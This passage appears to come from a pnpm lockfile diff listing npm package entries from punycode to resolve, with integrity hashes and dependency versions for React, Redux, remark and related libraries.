sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==} + dependencies: + end-of-stream: 1.4.4 + once: 1.4.0 + dev: false + + /punycode@2.3.1: + resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==} + engines: {node: '>=6'} + dev: false + + /q@1.5.1: + resolution: {integrity: sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw==} + engines: {node: '>=0.6.0', teleport: '>=0.2.0'} + dev: false + + /qs@6.11.0: + resolution: {integrity: sha512-MvjoMCJwEarSbUYk5O+nmoSzSutSsTwF85zcHPQ9OrlFoZOYIjaqBAJIqIXjptyD5vThxGq52Xu/MaJzRkIk4Q==} + engines: {node: '>=0.6'} + dependencies: + side-channel: 1.0.4 + dev: false + + /queue-microtask@1.2.3: + resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} + dev: false + + /raf-schd@4.0.3: + resolution: {integrity: sha512-tQkJl2GRWh83ui2DiPTJz9wEiMN20syf+5oKfB03yYP7ioZcJwsIK8FjrtLwH1m7C7e+Tt2yYBlrOpdT+dyeIQ==} + dev: false + + /range-parser@1.2.1: + resolution: {integrity: sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==} + engines: {node: '>= 0.6'} + dev: false + + /raw-body@2.5.1: + resolution: {integrity: sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==} + engines: {node: '>= 0.8'} + dependencies: + bytes: 3.1.2 + http-errors: 2.0.0 + iconv-lite: 0.4.24 + unpipe: 1.0.0 + dev: false + + /raw-body@2.5.2: + resolution: {integrity: sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==} + engines: {node: '>= 0.8'} + dependencies: + bytes: 3.1.2 + http-errors: 2.0.0 + iconv-lite: 0.4.24 + unpipe: 1.0.0 + dev: false + + /rc@1.2.8: + resolution: {integrity: sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==} + hasBin: true + dependencies: + deep-extend: 0.6.0 + ini: 1.3.8 + minimist: 1.2.8 + strip-json-comments: 2.0.1 + dev: false + + /react-beautiful-dnd@13.1.1(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-0Lvs4tq2VcrEjEgDXHjT98r+63drkKEgqyxdA7qD3mvKwga6a5SscbdLPO2IExotU1jW8L0Ksdl0Cj2AF67nPQ==} + peerDependencies: + react: ^16.8.5 || ^17.0.0 || ^18.0.0 + react-dom: ^16.8.5 || ^17.0.0 || ^18.0.0 + dependencies: + '@babel/runtime': 7.23.5 + css-box-model: 1.2.1 + memoize-one: 5.2.1 + raf-schd: 4.0.3 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + react-redux: 7.2.9(react-dom@17.0.2)(react@17.0.2) + redux: 4.2.1 + use-memo-one: 1.1.3(react@17.0.2) + transitivePeerDependencies: + - react-native + dev: false + + /react-beautiful-dnd@13.1.1(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-0Lvs4tq2VcrEjEgDXHjT98r+63drkKEgqyxdA7qD3mvKwga6a5SscbdLPO2IExotU1jW8L0Ksdl0Cj2AF67nPQ==} + peerDependencies: + react: ^16.8.5 || ^17.0.0 || ^18.0.0 + react-dom: ^16.8.5 || ^17.0.0 || ^18.0.0 + dependencies: + '@babel/runtime': 7.23.5 + css-box-model: 1.2.1 + memoize-one: 5.2.1 + raf-schd: 4.0.3 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + react-redux: 7.2.9(react-dom@18.2.0)(react@18.2.0) + redux: 4.2.1 + use-memo-one: 1.1.3(react@18.2.0) + transitivePeerDependencies: + - react-native + dev: false + + /react-color@2.19.3(react@17.0.2): + resolution: {integrity: sha512-LEeGE/ZzNLIsFWa1TMe8y5VYqr7bibneWmvJwm1pCn/eNmrabWDh659JSPn9BuaMpEfU83WTOJfnCcjDZwNQTA==} + peerDependencies: + react: '*' + dependencies: + '@icons/material': 0.2.4(react@17.0.2) + lodash: 4.17.21 + lodash-es: 4.17.21 + material-colors: 1.2.6 + prop-types: 15.8.1 + react: 17.0.2 + reactcss: 1.2.3(react@17.0.2) + tinycolor2: 1.6.0 + dev: false + + /react-color@2.19.3(react@18.2.0): + resolution: {integrity: sha512-LEeGE/ZzNLIsFWa1TMe8y5VYqr7bibneWmvJwm1pCn/eNmrabWDh659JSPn9BuaMpEfU83WTOJfnCcjDZwNQTA==} + peerDependencies: + react: '*' + dependencies: + '@icons/material': 0.2.4(react@18.2.0) + lodash: 4.17.21 + lodash-es: 4.17.21 + material-colors: 1.2.6 + prop-types: 15.8.1 + react: 18.2.0 + reactcss: 1.2.3(react@18.2.0) + tinycolor2: 1.6.0 + dev: false + + /react-datetime@2.16.3(moment@2.29.4)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-amWfb5iGEiyqjLmqCLlPpu2oN415jK8wX1qoTq7qn6EYiU7qQgbNHglww014PT4O/3G5eo/3kbJu/M/IxxTyGw==} + peerDependencies: + moment: '>=2.16.0' + react: '>=0.13' + react-dom: '>=0.13' + dependencies: + create-react-class: 15.7.0 + moment: 2.29.4 + object-assign: 3.0.0 + prop-types: 15.8.1 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + react-onclickoutside: 6.13.0(react-dom@17.0.2)(react@17.0.2) + dev: false + + /react-datetime@2.16.3(moment@2.29.4)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-amWfb5iGEiyqjLmqCLlPpu2oN415jK8wX1qoTq7qn6EYiU7qQgbNHglww014PT4O/3G5eo/3kbJu/M/IxxTyGw==} + peerDependencies: + moment: '>=2.16.0' + react: '>=0.13' + react-dom: '>=0.13' + dependencies: + create-react-class: 15.7.0 + moment: 2.29.4 + object-assign: 3.0.0 + prop-types: 15.8.1 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + react-onclickoutside: 6.13.0(react-dom@18.2.0)(react@18.2.0) + dev: false + + /react-dom@17.0.2(react@17.0.2): + resolution: {integrity: sha512-s4h96KtLDUQlsENhMn1ar8t2bEa+q/YAtj8pPPdIjPDGBDIVNsrD9aXNWqspUe6AzKCIG0C1HZZLqLV7qpOBGA==} + peerDependencies: + react: 17.0.2 + dependencies: + loose-envify: 1.4.0 + object-assign: 4.1.1 + react: 17.0.2 + scheduler: 0.20.2 + dev: false + + /react-dom@18.2.0(react@18.2.0): + resolution: {integrity: sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==} + peerDependencies: + react: ^18.2.0 + dependencies: + loose-envify: 1.4.0 + react: 18.2.0 + scheduler: 0.23.0 + dev: false + + /react-dropzone@14.2.3(react@17.0.2): + resolution: {integrity: sha512-O3om8I+PkFKbxCukfIR3QAGftYXDZfOE2N1mr/7qebQJHs7U+/RSL/9xomJNpRg9kM5h9soQSdf0Gc7OHF5Fug==} + engines: {node: '>= 10.13'} + peerDependencies: + react: '>= 16.8 || 18.0.0' + dependencies: + attr-accept: 2.2.2 + file-selector: 0.6.0 + prop-types: 15.8.1 + react: 17.0.2 + dev: false + + /react-dropzone@14.2.3(react@18.2.0): + resolution: {integrity: sha512-O3om8I+PkFKbxCukfIR3QAGftYXDZfOE2N1mr/7qebQJHs7U+/RSL/9xomJNpRg9kM5h9soQSdf0Gc7OHF5Fug==} + engines: {node: '>= 10.13'} + peerDependencies: + react: '>= 16.8 || 18.0.0' + dependencies: + attr-accept: 2.2.2 + file-selector: 0.6.0 + prop-types: 15.8.1 + react: 18.2.0 + dev: false + + /react-final-form@6.5.9(final-form@4.20.10)(react@17.0.2): + resolution: {integrity: sha512-x3XYvozolECp3nIjly+4QqxdjSSWfcnpGEL5K8OBT6xmGrq5kBqbA6+/tOqoom9NwqIPPbxPNsOViFlbKgowbA==} + peerDependencies: + final-form: ^4.20.4 + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + dependencies: + '@babel/runtime': 7.23.5 + final-form: 4.20.10 + react: 17.0.2 + dev: false + + /react-final-form@6.5.9(final-form@4.20.10)(react@18.2.0): + resolution: {integrity: sha512-x3XYvozolECp3nIjly+4QqxdjSSWfcnpGEL5K8OBT6xmGrq5kBqbA6+/tOqoom9NwqIPPbxPNsOViFlbKgowbA==} + peerDependencies: + final-form: ^4.20.4 + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + dependencies: + '@babel/runtime': 7.23.5 + final-form: 4.20.10 + react: 18.2.0 + dev: false + + /react-hotkeys-hook@4.4.1(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-sClBMBioFEgFGYLTWWRKvhxcCx1DRznd+wkFHwQZspnRBkHTgruKIHptlK/U/2DPX8BhHoRGzpMVWUXMmdZlmw==} + peerDependencies: + react: '>=16.8.1' + react-dom: '>=16.8.1' + dependencies: + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /react-hotkeys-hook@4.4.1(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-sClBMBioFEgFGYLTWWRKvhxcCx1DRznd+wkFHwQZspnRBkHTgruKIHptlK/U/2DPX8BhHoRGzpMVWUXMmdZlmw==} + peerDependencies: + react: '>=16.8.1' + react-dom: '>=16.8.1' + dependencies: + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /react-icons@4.12.0(react@17.0.2): + resolution: {integrity: sha512-IBaDuHiShdZqmfc/TwHu6+d6k2ltNCf3AszxNmjJc1KUfXdEeRJOKyNvLmAHaarhzGmTSVygNdyu8/opXv2gaw==} + peerDependencies: + react: '*' + dependencies: + react: 17.0.2 + dev: false + + /react-icons@4.12.0(react@18.2.0): + resolution: {integrity: sha512-IBaDuHiShdZqmfc/TwHu6+d6k2ltNCf3AszxNmjJc1KUfXdEeRJOKyNvLmAHaarhzGmTSVygNdyu8/opXv2gaw==} + peerDependencies: + react: '*' + dependencies: + react: 18.2.0 + dev: false + + /react-is@16.13.1: + resolution: {integrity: sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==} + dev: false + + /react-is@17.0.2: + resolution: {integrity: sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==} + dev: false + + /react-onclickoutside@6.13.0(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-ty8So6tcUpIb+ZE+1HAhbLROvAIJYyJe/1vRrrcmW+jLsaM+/powDRqxzo6hSh9CuRZGSL1Q8mvcF5WRD93a0A==} + peerDependencies: + react: ^15.5.x || ^16.x || ^17.x || ^18.x + react-dom: ^15.5.x || ^16.x || ^17.x || ^18.x + dependencies: + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /react-onclickoutside@6.13.0(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-ty8So6tcUpIb+ZE+1HAhbLROvAIJYyJe/1vRrrcmW+jLsaM+/powDRqxzo6hSh9CuRZGSL1Q8mvcF5WRD93a0A==} + peerDependencies: + react: ^15.5.x || ^16.x || ^17.x || ^18.x + react-dom: ^15.5.x || ^16.x || ^17.x || ^18.x + dependencies: + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /react-redux@7.2.9(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-Gx4L3uM182jEEayZfRbI/G11ZpYdNAnBs70lFVMNdHJI76XYtR+7m0MN+eAs7UHBPhWXcnFPaS+9owSCJQHNpQ==} + peerDependencies: + react: ^16.8.3 || ^17 || ^18 + react-dom: '*' + react-native: '*' + peerDependenciesMeta: + react-dom: + optional: true + react-native: + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@types/react-redux': 7.1.32 + hoist-non-react-statics: 3.3.2 + loose-envify: 1.4.0 + prop-types: 15.8.1 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + react-is: 17.0.2 + dev: false + + /react-redux@7.2.9(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-Gx4L3uM182jEEayZfRbI/G11ZpYdNAnBs70lFVMNdHJI76XYtR+7m0MN+eAs7UHBPhWXcnFPaS+9owSCJQHNpQ==} + peerDependencies: + react: ^16.8.3 || ^17 || ^18 + react-dom: '*' + react-native: '*' + peerDependenciesMeta: + react-dom: + optional: true + react-native: + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@types/react-redux': 7.1.32 + hoist-non-react-statics: 3.3.2 + loose-envify: 1.4.0 + prop-types: 15.8.1 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + react-is: 17.0.2 + dev: false + + /react-refresh@0.14.0: + resolution: {integrity: sha512-wViHqhAd8OHeLS/IRMJjTSDHF3U9eWi62F/MledQGPdJGDhodXJ9PBLNGr6WWL7qlH12Mt3TyTpbS+hGXMjCzQ==} + engines: {node: '>=0.10.0'} + dev: false + + /react-remove-scroll-bar@2.3.4(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-63C4YQBUt0m6ALadE9XV56hV8BgJWDmmTPY758iIJjfQKt2nYwoUrPk0LXRXcB/yIj82T1/Ixfdpdk68LwIB0A==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': ^16.8.0 || ^17.0.0 || ^18.0.0 + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@types/react': 18.2.7 + react: 17.0.2 + react-style-singleton: 2.2.1(@types/react@18.2.7)(react@17.0.2) + tslib: 2.6.2 + dev: false + + /react-remove-scroll-bar@2.3.4(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-63C4YQBUt0m6ALadE9XV56hV8BgJWDmmTPY758iIJjfQKt2nYwoUrPk0LXRXcB/yIj82T1/Ixfdpdk68LwIB0A==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': ^16.8.0 || ^17.0.0 || ^18.0.0 + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@types/react': 18.2.7 + react: 18.2.0 + react-style-singleton: 2.2.1(@types/react@18.2.7)(react@18.2.0) + tslib: 2.6.2 + dev: false + + /react-remove-scroll@2.5.5(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': ^16.8.0 || ^17.0.0 || ^18.0.0 + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@types/react': 18.2.7 + react: 17.0.2 + react-remove-scroll-bar: 2.3.4(@types/react@18.2.7)(react@17.0.2) + react-style-singleton: 2.2.1(@types/react@18.2.7)(react@17.0.2) + tslib: 2.6.2 + use-callback-ref: 1.3.0(@types/react@18.2.7)(react@17.0.2) + use-sidecar: 1.1.2(@types/react@18.2.7)(react@17.0.2) + dev: false + + /react-remove-scroll@2.5.5(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': ^16.8.0 || ^17.0.0 || ^18.0.0 + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@types/react': 18.2.7 + react: 18.2.0 + react-remove-scroll-bar: 2.3.4(@types/react@18.2.7)(react@18.2.0) + react-style-singleton: 2.2.1(@types/react@18.2.7)(react@18.2.0) + tslib: 2.6.2 + use-callback-ref: 1.3.0(@types/react@18.2.7)(react@18.2.0) + use-sidecar: 1.1.2(@types/react@18.2.7)(react@18.2.0) + dev: false + + /react-router-dom@6.3.0(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-uaJj7LKytRxZNQV8+RbzJWnJ8K2nPsOOEuX7aQstlMZKQT0164C+X2w6bnkqU3sjtLvpd5ojrezAyfZ1+0sStw==} + peerDependencies: + react: '>=16.8' + react-dom: '>=16.8' + dependencies: + history: 5.3.0 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + react-router: 6.3.0(react@17.0.2) + dev: false + + /react-router-dom@6.3.0(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-uaJj7LKytRxZNQV8+RbzJWnJ8K2nPsOOEuX7aQstlMZKQT0164C+X2w6bnkqU3sjtLvpd5ojrezAyfZ1+0sStw==} + peerDependencies: + react: '>=16.8' + react-dom: '>=16.8' + dependencies: + history: 5.3.0 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + react-router: 6.3.0(react@18.2.0) + dev: false + + /react-router@6.3.0(react@17.0.2): + resolution: {integrity: sha512-7Wh1DzVQ+tlFjkeo+ujvjSqSJmkt1+8JO+T5xklPlgrh70y7ogx75ODRW0ThWhY7S+6yEDks8TYrtQe/aoboBQ==} + peerDependencies: + react: '>=16.8' + dependencies: + history: 5.3.0 + react: 17.0.2 + dev: false + + /react-router@6.3.0(react@18.2.0): + resolution: {integrity: sha512-7Wh1DzVQ+tlFjkeo+ujvjSqSJmkt1+8JO+T5xklPlgrh70y7ogx75ODRW0ThWhY7S+6yEDks8TYrtQe/aoboBQ==} + peerDependencies: + react: '>=16.8' + dependencies: + history: 5.3.0 + react: 18.2.0 + dev: false + + /react-style-singleton@2.2.1(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-ZWj0fHEMyWkHzKYUr2Bs/4zU6XLmq9HsgBURm7g5pAVfyn49DgUiNgY2d4lXRlYSiCif9YBGpQleewkcqddc7g==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': ^16.8.0 || ^17.0.0 || ^18.0.0 + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@types/react': 18.2.7 + get-nonce: 1.0.1 + invariant: 2.2.4 + react: 17.0.2 + tslib: 2.6.2 + dev: false + + /react-style-singleton@2.2.1(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-ZWj0fHEMyWkHzKYUr2Bs/4zU6XLmq9HsgBURm7g5pAVfyn49DgUiNgY2d4lXRlYSiCif9YBGpQleewkcqddc7g==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': ^16.8.0 || ^17.0.0 || ^18.0.0 + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@types/react': 18.2.7 + get-nonce: 1.0.1 + invariant: 2.2.4 + react: 18.2.0 + tslib: 2.6.2 + dev: false + + /react-textarea-autosize@8.5.2(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-uOkyjkEl0ByEK21eCJMHDGBAAd/BoFQBawYK5XItjAmCTeSbjxghd8qnt7nzsLYzidjnoObu6M26xts0YGKsGg==} + engines: {node: '>=10'} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + dependencies: + '@babel/runtime': 7.23.5 + react: 17.0.2 + use-composed-ref: 1.3.0(react@17.0.2) + use-latest: 1.2.1(@types/react@18.2.7)(react@17.0.2) + transitivePeerDependencies: + - '@types/react' + dev: false + + /react-textarea-autosize@8.5.2(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-uOkyjkEl0ByEK21eCJMHDGBAAd/BoFQBawYK5XItjAmCTeSbjxghd8qnt7nzsLYzidjnoObu6M26xts0YGKsGg==} + engines: {node: '>=10'} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + dependencies: + '@babel/runtime': 7.23.5 + react: 18.2.0 + use-composed-ref: 1.3.0(react@18.2.0) + use-latest: 1.2.1(@types/react@18.2.7)(react@18.2.0) + transitivePeerDependencies: + - '@types/react' + dev: false + + /react-tracked@1.7.11(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0): + resolution: {integrity: sha512-+XXv4dJH7NnLtSD/cPVL9omra4A3KRK91L33owevXZ81r7qF/a9DdCsVZa90jMGht/V1Ym9sasbmidsJykhULQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '*' + react-native: '*' + scheduler: '>=0.19.0' + peerDependenciesMeta: + react-dom: + optional: true + react-native: + optional: true + dependencies: + proxy-compare: 2.4.0 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + scheduler: 0.19.0 + use-context-selector: 1.4.1(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0) + dev: false + + /react-tracked@1.7.11(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0): + resolution: {integrity: sha512-+XXv4dJH7NnLtSD/cPVL9omra4A3KRK91L33owevXZ81r7qF/a9DdCsVZa90jMGht/V1Ym9sasbmidsJykhULQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '*' + react-native: '*' + scheduler: '>=0.19.0' + peerDependenciesMeta: + react-dom: + optional: true + react-native: + optional: true + dependencies: + proxy-compare: 2.4.0 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + scheduler: 0.19.0 + use-context-selector: 1.4.1(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0) + dev: false + + /react@17.0.2: + resolution: {integrity: sha512-gnhPt75i/dq/z3/6q/0asP78D0u592D5L1pd7M8P+dck6Fu/jJeL6iVVK23fptSUZj8Vjf++7wXA8UNclGQcbA==} + engines: {node: '>=0.10.0'} + dependencies: + loose-envify: 1.4.0 + object-assign: 4.1.1 + dev: false + + /react@18.2.0: + resolution: {integrity: sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==} + engines: {node: '>=0.10.0'} + dependencies: + loose-envify: 1.4.0 + dev: false + + /reactcss@1.2.3(react@17.0.2): + resolution: {integrity: sha512-KiwVUcFu1RErkI97ywr8nvx8dNOpT03rbnma0SSalTYjkrPYaEajR4a/MRt6DZ46K6arDRbWMNHF+xH7G7n/8A==} + peerDependencies: + react: '*' + dependencies: + lodash: 4.17.21 + react: 17.0.2 + dev: false + + /reactcss@1.2.3(react@18.2.0): + resolution: {integrity: sha512-KiwVUcFu1RErkI97ywr8nvx8dNOpT03rbnma0SSalTYjkrPYaEajR4a/MRt6DZ46K6arDRbWMNHF+xH7G7n/8A==} + peerDependencies: + react: '*' + dependencies: + lodash: 4.17.21 + react: 18.2.0 + dev: false + + /read-cache@1.0.0: + resolution: {integrity: sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==} + dependencies: + pify: 2.3.0 + dev: false + + /readable-stream@2.3.8: + resolution: {integrity: sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==} + dependencies: + core-util-is: 1.0.3 + inherits: 2.0.4 + isarray: 1.0.0 + process-nextick-args: 2.0.1 + safe-buffer: 5.1.2 + string_decoder: 1.1.1 + util-deprecate: 1.0.2 + dev: false + + /readable-stream@3.6.2: + resolution: {integrity: sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==} + engines: {node: '>= 6'} + dependencies: + inherits: 2.0.4 + string_decoder: 1.3.0 + util-deprecate: 1.0.2 + dev: false + + /readable-stream@4.4.2: + resolution: {integrity: sha512-Lk/fICSyIhodxy1IDK2HazkeGjSmezAWX2egdtJnYhtzKEsBPJowlI6F6LPb5tqIQILrMbx22S5o3GuJavPusA==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + dependencies: + abort-controller: 3.0.0 + buffer: 6.0.3 + events: 3.3.0 + process: 0.11.10 + string_decoder: 1.3.0 + dev: false + + /readdirp@3.6.0: + resolution: {integrity: sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==} + engines: {node: '>=8.10.0'} + dependencies: + picomatch: 2.3.1 + dev: false + + /redux@4.2.1: + resolution: {integrity: sha512-LAUYz4lc+Do8/g7aeRa8JkyDErK6ekstQaqWQrNRW//MY1TvCEpMtpTWvlQ+FPbWCx+Xixu/6SHt5N0HR+SB4w==} + dependencies: + '@babel/runtime': 7.23.5 + dev: false + + /regenerator-runtime@0.14.0: + resolution: {integrity: sha512-srw17NI0TUWHuGa5CFGGmhfNIeja30WMBfbslPNhf6JrqQlLN5gcrvig1oqPxiVaXb0oW0XRKtH6Nngs5lKCIA==} + dev: false + + /relay-runtime@12.0.0: + resolution: {integrity: sha512-QU6JKr1tMsry22DXNy9Whsq5rmvwr3LSZiiWV/9+DFpuTWvp+WFhobWMc8TC4OjKFfNhEZy7mOiqUAn5atQtug==} + dependencies: + '@babel/runtime': 7.23.5 + fbjs: 3.0.5 + invariant: 2.2.4 + transitivePeerDependencies: + - encoding + dev: false + + /remark-gfm@2.0.0: + resolution: {integrity: sha512-waIv4Tjcd2CTUDxKRYzuPyIHw1FoX4H2GjXAzXV9PxQWb+dU4fJivd/FZ+nxyzPARrqTjMIkwIwPoWNbpBhjcQ==} + dependencies: + '@types/mdast': 3.0.15 + mdast-util-gfm: 1.0.0 + micromark-extension-gfm: 1.0.0 + unified: 10.1.2 + transitivePeerDependencies: + - supports-color + dev: false + + /remark-mdx@2.3.0: + resolution: {integrity: sha512-g53hMkpM0I98MU266IzDFMrTD980gNF3BJnkyFcmN+dD873mQeD5rdMO3Y2X+x8umQfbSE0PcoEDl7ledSA+2g==} + dependencies: + mdast-util-mdx: 2.0.1 + micromark-extension-mdxjs: 1.0.1 + transitivePeerDependencies: + - supports-color + dev: false + + /remark-parse@10.0.2: + resolution: {integrity: sha512-3ydxgHa/ZQzG8LvC7jTXccARYDcRld3VfcgIIFs7bI6vbRSxJJmzgLEIIoYKyrfhaY+ujuWaf/PJiMZXoiCXgw==} + dependencies: + '@types/mdast': 3.0.15 + mdast-util-from-markdown: 1.3.0 + unified: 10.1.2 + transitivePeerDependencies: + - supports-color + dev: false + + /remark-parse@9.0.0: + resolution: {integrity: sha512-geKatMwSzEXKHuzBNU1z676sGcDcFoChMK38TgdHJNAYfFtsfHDQG7MoJAjs6sgYMqyLduCYWDIWZIxiPeafEw==} + dependencies: + mdast-util-from-markdown: 0.8.5 + transitivePeerDependencies: + - supports-color + dev: false + + /remark-stringify@10.0.3: + resolution: {integrity: sha512-koyOzCMYoUHudypbj4XpnAKFbkddRMYZHwghnxd7ue5210WzGw6kOBwauJTRUMq16jsovXx8dYNvSSWP89kZ3A==} + dependencies: + '@types/mdast': 3.0.15 + mdast-util-to-markdown: 1.5.0 + unified: 10.1.2 + dev: false + + /remark@14.0.2: + resolution: {integrity: sha512-A3ARm2V4BgiRXaUo5K0dRvJ1lbogrbXnhkJRmD0yw092/Yl0kOCZt1k9ZeElEwkZsWGsMumz6qL5MfNJH9nOBA==} + dependencies: + '@types/mdast': 3.0.15 + remark-parse: 10.0.2 + remark-stringify: 10.0.3 + unified: 10.1.2 + transitivePeerDependencies: + - supports-color + dev: false + + /remove-trailing-separator@1.1.0: + resolution: {integrity: sha512-/hS+Y0u3aOfIETiaiirUFwDBDzmXPvO+jAfKTitUngIPzdKc6Z0LoFjM/CK5PL4C+eKwHohlHAb6H0VFfmmUsw==} + dev: false + + /require-directory@2.1.1: + resolution: {integrity: sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==} + engines: {node: '>=0.10.0'} + dev: false + + /require-main-filename@2.0.0: + resolution: {integrity: sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==} + dev: false + + /resolve-from@4.0.0: + resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==} + engines: {node: '>=4'} + dev: false + + /resolve-from@5.0.0: + resolution: {integrity: sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==} + engines: {node: '>=8'} + dev: false + + /resolve@1.22.8: + resolution: {integrity: 